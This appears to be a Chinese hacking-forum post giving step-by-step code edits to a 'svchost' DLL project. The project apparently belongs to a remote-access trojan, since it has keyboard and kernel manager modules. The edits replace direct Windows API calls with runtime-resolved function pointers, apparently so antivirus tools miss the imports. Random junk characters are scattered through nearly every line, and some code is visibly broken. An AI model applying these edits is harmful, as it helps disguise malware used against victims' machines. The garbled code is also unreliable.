[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
) G# n$ z1 b- e% n/ F! Ssvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：6 ?, X, B8 L  ]5 s- u  i$ t" @
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#if _MSC_VER>1000% L4 y/ r; ]6 Q8 v. n4 g0 @3 k3 i$ X
#pragma once; A( x! }- y( G! z& y
#endif //_MSC_VER>1000
, s- F% c+ z0 O4 L#include<windows.h>/ D5 p3 c/ s' o: A" j

" A( [" I, }5 B3 w$ Ptypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
, H4 t9 f$ l9 u2 h! Uclass DTDY
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public:
+ T0 b/ h1 {; Z$ \+ z% eDTDY();
5 @7 m3 Q0 g; ~% _. J5 U$ k0 r; evirtual ~DTDY();2 v6 U, T1 i. Y2 ?! ?
public:
% _- ]3 M1 d/ r# C+ E9 pstatic pGetModuleFileNameA MyGetModuleFileName;# k( I  r+ J3 H5 E- C- O
static BOOL FunInitiallization();. ^: T* B* x9 b% @# `( F) Q
};
8 u/ l4 a. O4 n6 p#endif
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DTDY.cpp:; z4 z+ p( T" T7 Q3 ^. P

8 R0 ^8 c# g& \; S% @& W- z#include "DTDY.h"  v% w! c" i8 V4 G& b
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 C' t: }) l+ [DTDY:TDY()# a% J1 f5 w7 u; Z( i! Q
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}
/ m2 W2 M3 V5 O; l9 A2 K9 e$ a; lDTDY::~DTDY()
; y5 Z; i2 _  [' I# z5 G6 r{
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$ J9 L' ?! g2 i+ J% C; ~) eBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");9 f0 s& J! d) S* e! Y: v
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
1 U) Q: c+ O4 |, e6 q7 yif(!MyGetModuleFileName=) return FALSE;* X( X- O& O0 X# }
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return TRUE;
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. _0 ^$ y& @6 b' t& E# \8 x4 zsvchost.cpp:! i7 V: Y3 v/ ]- F2 C3 d0 U; c' }
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#include "DTDY.h"4 I4 @( w8 H9 u: z8 @- }5 O9 D

' L% q( W2 E$ Q4 M( `/ l0 S) nBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 K0 Y( j5 d  d+ Q0 P( r. Q
{
) o6 `7 k, S  Z/ F2 xswitch(ul_reason_for_call)# L" D- f1 D3 |2 c
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case DLL_PROCESS_ATTACH:, T  g" |( X$ i8 K
if(!DTDY::FunInitiallization()) return FALSE;
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- j4 V; U" H: Ybreak;
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; c6 c4 d1 w$ _2 UGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def# p+ A. t' g6 R6 {2 P) w3 p
改写为
/ ~1 k. a! h2 Y) L6 m, S9 g: pDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));$ Y0 {. m4 n# @5 d0 g; K) ?
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KernelManager.cpp:
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' ?) \& m7 g3 O) P#include "../DTDY.h": S2 h0 L' Z2 [+ d3 S1 M
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
( \5 Q. G; D5 R2 n; Q5 |# W4 m改写为# x9 d- g6 n& k8 y2 y- F
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. _8 z7 r  }3 q& y5 P
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